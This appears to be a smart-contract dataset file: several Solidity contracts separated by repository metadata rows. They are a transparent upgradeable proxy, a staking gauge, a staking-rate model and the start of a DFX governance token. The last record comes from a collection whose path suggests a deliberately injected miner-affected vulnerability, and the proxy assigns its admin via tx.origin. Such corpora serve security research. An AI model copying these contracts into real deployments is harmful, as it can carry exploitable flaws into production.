return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/StorageSlot.sol)
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
}
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol)
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation,
bytes memory data,
bool forceCall) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallUUPS(address newImplementation,
bytes memory data,
bool forceCall) internal {
// Upgrades from old implementations will perform a rollback test. This test requires the new
// implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing
// this special case will break upgrade paths from old UUPS implementation to new ones.
if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) {
_setImplementation(newImplementation);
} else {
try IERC1822Proxiable(newImplementation).proxiableUUID() returns (bytes32 slot) {
require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID");
} catch {
revert("ERC1967Upgrade: new implementation is not UUPS");
}
_upgradeToAndCall(newImplementation, data, forceCall);
}
}
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract");
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
function _upgradeBeaconToAndCall(address newBeacon,
bytes memory data,
bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/ERC1967/ERC1967Proxy.sol)
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
_upgradeToAndCall(_logic, _data, false);
}
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/transparent/TransparentUpgradeableProxy.sol)
contract TransparentUpgradeableProxy is ERC1967Proxy {
constructor(address _logic,
address admin_,
bytes memory _data) payable ERC1967Proxy(_logic, _data) {
_changeAdmin(admin_);
}
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
contract ProxyForMctMultisender is TransparentUpgradeableProxy {
constructor(address _logic, uint256 _fee)
TransparentUpgradeableProxy(_logic,
tx.origin,
abi.encodeWithSignature("initialize(uint256,address,address[],address[])",
_fee,
tx.origin,
new address[](0),
new address[](0)))
{}
function _beforeFallback() internal override {}
}
| 150,011 | 12,405 |
fa13f8484ef055b2f45c69c463fa86d467e0e8d7ef5ddb5178f3b4ea6612b806
| 15,682 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/7a/7a91957097e85bb933828d4cc7db287f573d0b2f_Gauge.sol
| 3,621 | 13,668 |
pragma solidity ^0.6.7;
//
//^0.7.5;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "add: +");
return c;
}
function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "sub: -");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "mul: *");
return c;
}
function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "div: /");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call{value:amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () public {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
interface IGaugeProxy {
function getTreasury() external view returns (address);
function getDepositFeeRate() external view returns (uint256);
}
contract Gauge is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public SPIRIT;
IERC20 public inSPIRIT;
IERC20 public immutable TOKEN;
address public immutable DISTRIBUTION;
uint256 public constant DURATION = 7 days;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
modifier onlyDistribution() {
require(msg.sender == DISTRIBUTION, "Caller is not RewardsDistribution contract");
_;
}
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
uint public derivedSupply;
mapping(address => uint256) private _balances;
mapping(address => uint256) public derivedBalances;
mapping(address => uint) private _base;
constructor(address _spirit, address _inSpirit, address _token) public {
SPIRIT = IERC20(_spirit);
inSPIRIT = IERC20(_inSpirit);
TOKEN = IERC20(_token);
DISTRIBUTION = msg.sender;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (derivedSupply == 0) {
return 0;
}
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(derivedSupply));
}
function derivedBalance(address account) public view returns (uint) {
if(inSPIRIT.totalSupply() == 0) return 0;
uint _balance = _balances[account];
uint _derived = _balance.mul(40).div(100);
uint _adjusted = (_totalSupply.mul(inSPIRIT.balanceOf(account)).div(inSPIRIT.totalSupply())).mul(60).div(100);
return Math.min(_derived.add(_adjusted), _balance);
}
function kick(address account) public {
uint _derivedBalance = derivedBalances[account];
derivedSupply = derivedSupply.sub(_derivedBalance);
_derivedBalance = derivedBalance(account);
derivedBalances[account] = _derivedBalance;
derivedSupply = derivedSupply.add(_derivedBalance);
}
function earned(address account) public view returns (uint256) {
return derivedBalances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(DURATION);
}
function depositAll() external {
_deposit(TOKEN.balanceOf(msg.sender), msg.sender);
}
function deposit(uint256 amount) external {
_deposit(amount, msg.sender);
}
function depositFor(uint256 amount, address account) external {
_deposit(amount, account);
}
function _deposit(uint amount, address account) internal nonReentrant updateReward(account) {
IGaugeProxy guageProxy = IGaugeProxy(DISTRIBUTION);
address treasury = guageProxy.getTreasury();
uint256 depositFeeRate = guageProxy.getDepositFeeRate();
require(treasury != address(0x0), "deposit(Gauge): treasury haven't been set");
require(amount > 0, "deposit(Gauge): cannot stake 0");
uint256 feeAmount = amount.mul(depositFeeRate).div(10000);
uint256 userAmount = amount.sub(feeAmount);
_balances[account] = _balances[account].add(userAmount);
_totalSupply = _totalSupply.add(userAmount);
TOKEN.safeTransferFrom(account, address(this), amount);
TOKEN.safeTransfer(treasury, feeAmount);
emit Staked(account, userAmount);
}
function withdrawAll() external {
_withdraw(_balances[msg.sender]);
}
function withdraw(uint256 amount) external {
_withdraw(amount);
}
function _withdraw(uint amount) internal nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
TOKEN.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
SPIRIT.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function exit() external {
_withdraw(_balances[msg.sender]);
getReward();
}
function notifyRewardAmount(uint256 reward) external onlyDistribution updateReward(address(0)) {
SPIRIT.safeTransferFrom(DISTRIBUTION, address(this), reward);
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(DURATION);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(DURATION);
}
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
uint balance = SPIRIT.balanceOf(address(this));
require(rewardRate <= balance.div(DURATION), "Provided reward too high");
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(reward);
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
if (account != address(0)) {
kick(account);
}
}
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
}
| 308,197 | 12,406 |
46637c176b9d817018c1cb5dbcf3bd77625bcf22f71ca33a1e7aca810b6f4fc1
| 11,524 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x3474b74139c192d0781812ca70cc410d19cb6a2d.sol
| 5,960 | 11,463 |
pragma solidity 0.5.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library ABDKMath64x64 {
int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;
int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
function mulu(int128 x, uint256 y) internal pure returns (uint256) {
if (y == 0) return 0;
require(x >= 0);
uint256 lo = (uint256(x) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;
uint256 hi = uint256(x) * (y >> 128);
require(hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
hi <<= 64;
require(hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);
return hi + lo;
}
function divu(uint256 x, uint256 y) public pure returns (int128) {
require(y != 0);
uint128 result = divuu(x, y);
require(result <= uint128(MAX_64x64));
return int128(result);
}
function exp_2(int128 x) public pure returns (int128) {
require(x < 0x400000000000000000); // Overflow
if (x < -0x400000000000000000) return 0; // Underflow
uint256 result = 0x80000000000000000000000000000000;
if (x & 0x8000000000000000 > 0) result = (result * 0x16A09E667F3BCC908B2FB1366EA957D3E) >> 128;
if (x & 0x4000000000000000 > 0) result = (result * 0x1306FE0A31B7152DE8D5A46305C85EDEC) >> 128;
if (x & 0x2000000000000000 > 0) result = (result * 0x1172B83C7D517ADCDF7C8C50EB14A791F) >> 128;
if (x & 0x1000000000000000 > 0) result = (result * 0x10B5586CF9890F6298B92B71842A98363) >> 128;
if (x & 0x800000000000000 > 0) result = (result * 0x1059B0D31585743AE7C548EB68CA417FD) >> 128;
if (x & 0x400000000000000 > 0) result = (result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8) >> 128;
if (x & 0x200000000000000 > 0) result = (result * 0x10163DA9FB33356D84A66AE336DCDFA3F) >> 128;
if (x & 0x100000000000000 > 0) result = (result * 0x100B1AFA5ABCBED6129AB13EC11DC9543) >> 128;
if (x & 0x80000000000000 > 0) result = (result * 0x10058C86DA1C09EA1FF19D294CF2F679B) >> 128;
if (x & 0x40000000000000 > 0) result = (result * 0x1002C605E2E8CEC506D21BFC89A23A00F) >> 128;
if (x & 0x20000000000000 > 0) result = (result * 0x100162F3904051FA128BCA9C55C31E5DF) >> 128;
if (x & 0x10000000000000 > 0) result = (result * 0x1000B175EFFDC76BA38E31671CA939725) >> 128;
if (x & 0x8000000000000 > 0) result = (result * 0x100058BA01FB9F96D6CACD4B180917C3D) >> 128;
if (x & 0x4000000000000 > 0) result = (result * 0x10002C5CC37DA9491D0985C348C68E7B3) >> 128;
if (x & 0x2000000000000 > 0) result = (result * 0x1000162E525EE054754457D5995292026) >> 128;
if (x & 0x1000000000000 > 0) result = (result * 0x10000B17255775C040618BF4A4ADE83FC) >> 128;
if (x & 0x800000000000 > 0) result = (result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB) >> 128;
if (x & 0x400000000000 > 0) result = (result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9) >> 128;
if (x & 0x200000000000 > 0) result = (result * 0x10000162E43F4F831060E02D839A9D16D) >> 128;
if (x & 0x100000000000 > 0) result = (result * 0x100000B1721BCFC99D9F890EA06911763) >> 128;
if (x & 0x80000000000 > 0) result = (result * 0x10000058B90CF1E6D97F9CA14DBCC1628) >> 128;
if (x & 0x40000000000 > 0) result = (result * 0x1000002C5C863B73F016468F6BAC5CA2B) >> 128;
if (x & 0x20000000000 > 0) result = (result * 0x100000162E430E5A18F6119E3C02282A5) >> 128;
if (x & 0x10000000000 > 0) result = (result * 0x1000000B1721835514B86E6D96EFD1BFE) >> 128;
if (x & 0x8000000000 > 0) result = (result * 0x100000058B90C0B48C6BE5DF846C5B2EF) >> 128;
if (x & 0x4000000000 > 0) result = (result * 0x10000002C5C8601CC6B9E94213C72737A) >> 128;
if (x & 0x2000000000 > 0) result = (result * 0x1000000162E42FFF037DF38AA2B219F06) >> 128;
if (x & 0x1000000000 > 0) result = (result * 0x10000000B17217FBA9C739AA5819F44F9) >> 128;
if (x & 0x800000000 > 0) result = (result * 0x1000000058B90BFCDEE5ACD3C1CEDC823) >> 128;
if (x & 0x400000000 > 0) result = (result * 0x100000002C5C85FE31F35A6A30DA1BE50) >> 128;
if (x & 0x200000000 > 0) result = (result * 0x10000000162E42FF0999CE3541B9FFFCF) >> 128;
if (x & 0x100000000 > 0) result = (result * 0x100000000B17217F80F4EF5AADDA45554) >> 128;
if (x & 0x80000000 > 0) result = (result * 0x10000000058B90BFBF8479BD5A81B51AD) >> 128;
if (x & 0x40000000 > 0) result = (result * 0x1000000002C5C85FDF84BD62AE30A74CC) >> 128;
if (x & 0x20000000 > 0) result = (result * 0x100000000162E42FEFB2FED257559BDAA) >> 128;
if (x & 0x10000000 > 0) result = (result * 0x1000000000B17217F7D5A7716BBA4A9AE) >> 128;
if (x & 0x8000000 > 0) result = (result * 0x100000000058B90BFBE9DDBAC5E109CCE) >> 128;
if (x & 0x4000000 > 0) result = (result * 0x10000000002C5C85FDF4B15DE6F17EB0D) >> 128;
if (x & 0x2000000 > 0) result = (result * 0x1000000000162E42FEFA494F1478FDE05) >> 128;
if (x & 0x1000000 > 0) result = (result * 0x10000000000B17217F7D20CF927C8E94C) >> 128;
if (x & 0x800000 > 0) result = (result * 0x1000000000058B90BFBE8F71CB4E4B33D) >> 128;
if (x & 0x400000 > 0) result = (result * 0x100000000002C5C85FDF477B662B26945) >> 128;
if (x & 0x200000 > 0) result = (result * 0x10000000000162E42FEFA3AE53369388C) >> 128;
if (x & 0x100000 > 0) result = (result * 0x100000000000B17217F7D1D351A389D40) >> 128;
if (x & 0x80000 > 0) result = (result * 0x10000000000058B90BFBE8E8B2D3D4EDE) >> 128;
if (x & 0x40000 > 0) result = (result * 0x1000000000002C5C85FDF4741BEA6E77E) >> 128;
if (x & 0x20000 > 0) result = (result * 0x100000000000162E42FEFA39FE95583C2) >> 128;
if (x & 0x10000 > 0) result = (result * 0x1000000000000B17217F7D1CFB72B45E1) >> 128;
if (x & 0x8000 > 0) result = (result * 0x100000000000058B90BFBE8E7CC35C3F0) >> 128;
if (x & 0x4000 > 0) result = (result * 0x10000000000002C5C85FDF473E242EA38) >> 128;
if (x & 0x2000 > 0) result = (result * 0x1000000000000162E42FEFA39F02B772C) >> 128;
if (x & 0x1000 > 0) result = (result * 0x10000000000000B17217F7D1CF7D83C1A) >> 128;
if (x & 0x800 > 0) result = (result * 0x1000000000000058B90BFBE8E7BDCBE2E) >> 128;
if (x & 0x400 > 0) result = (result * 0x100000000000002C5C85FDF473DEA871F) >> 128;
if (x & 0x200 > 0) result = (result * 0x10000000000000162E42FEFA39EF44D91) >> 128;
if (x & 0x100 > 0) result = (result * 0x100000000000000B17217F7D1CF79E949) >> 128;
if (x & 0x80 > 0) result = (result * 0x10000000000000058B90BFBE8E7BCE544) >> 128;
if (x & 0x40 > 0) result = (result * 0x1000000000000002C5C85FDF473DE6ECA) >> 128;
if (x & 0x20 > 0) result = (result * 0x100000000000000162E42FEFA39EF366F) >> 128;
if (x & 0x10 > 0) result = (result * 0x1000000000000000B17217F7D1CF79AFA) >> 128;
if (x & 0x8 > 0) result = (result * 0x100000000000000058B90BFBE8E7BCD6D) >> 128;
if (x & 0x4 > 0) result = (result * 0x10000000000000002C5C85FDF473DE6B2) >> 128;
if (x & 0x2 > 0) result = (result * 0x1000000000000000162E42FEFA39EF358) >> 128;
if (x & 0x1 > 0) result = (result * 0x10000000000000000B17217F7D1CF79AB) >> 128;
result >>= uint256(63 - (x >> 64));
require(result <= uint256(MAX_64x64));
return int128(result);
}
function divuu(uint256 x, uint256 y) private pure returns (uint128) {
require(y != 0);
uint256 result;
if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) result = (x << 64) / y;
else {
uint256 msb = 192;
uint256 xc = x >> 192;
if (xc >= 0x100000000) {
xc >>= 32;
msb += 32;
}
if (xc >= 0x10000) {
xc >>= 16;
msb += 16;
}
if (xc >= 0x100) {
xc >>= 8;
msb += 8;
}
if (xc >= 0x10) {
xc >>= 4;
msb += 4;
}
if (xc >= 0x4) {
xc >>= 2;
msb += 2;
}
if (xc >= 0x2) msb += 1; // No need to shift xc anymore
result = (x << (255 - msb)) / (((y - 1) >> (msb - 191)) + 1);
require(result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
uint256 hi = result * (y >> 128);
uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
uint256 xh = x >> 192;
uint256 xl = x << 64;
if (xl < lo) xh -= 1;
xl -= lo; // We rely on overflow behavior here
lo = hi << 128;
if (xl < lo) xh -= 1;
xl -= lo; // We rely on overflow behavior here
assert(xh == hi >> 128);
result += xl / y;
}
require(result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
return uint128(result);
}
}
contract stakingRateModel {
using SafeMath for *;
uint256 lastUpdateTimestamp;
uint256 stakingRateStored;
constructor() public {
stakingRateStored = 0.0625e18;
lastUpdateTimestamp = block.timestamp;
}
function stakingRate(uint256 time) external returns (uint256 rate) {
if(time < 30 minutes) return 0;
if(time > 1461 days) return 0;
int128 t = ABDKMath64x64.divu(time, 365.25 days);
int128 r = ABDKMath64x64.exp_2(t);
rate = ABDKMath64x64.mulu(r, stakingRateMax());
}
function stakingRateMax() public returns (uint256 rate) {
uint256 timeElapsed = block.timestamp.sub(lastUpdateTimestamp);
if(timeElapsed > 0) {
lastUpdateTimestamp = block.timestamp;
int128 t = ABDKMath64x64.divu(timeElapsed, 365.25 days);
int128 r = ABDKMath64x64.exp_2(t);
rate = ABDKMath64x64.mulu(r, stakingRateStored);
stakingRateStored = rate;
}
else rate = stakingRateStored;
}
}
| 275,569 | 12,407 |
1bf95bdac110d7e3c8da31fc8164d77a5334b069599a9484e7c454ef174fa673
| 14,876 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/contractAffectedByMiners/0x4611295e90392f7d3279a4df906721b7eab774d4_affectedByMiners.sol
| 2,812 | 11,115 |
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
contract DfxToken is Initializable {
/// @notice EIP-20 token name for this token
string public constant name = "DeFireX";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "DFX";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 10000000e18; // 10 million DFX
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
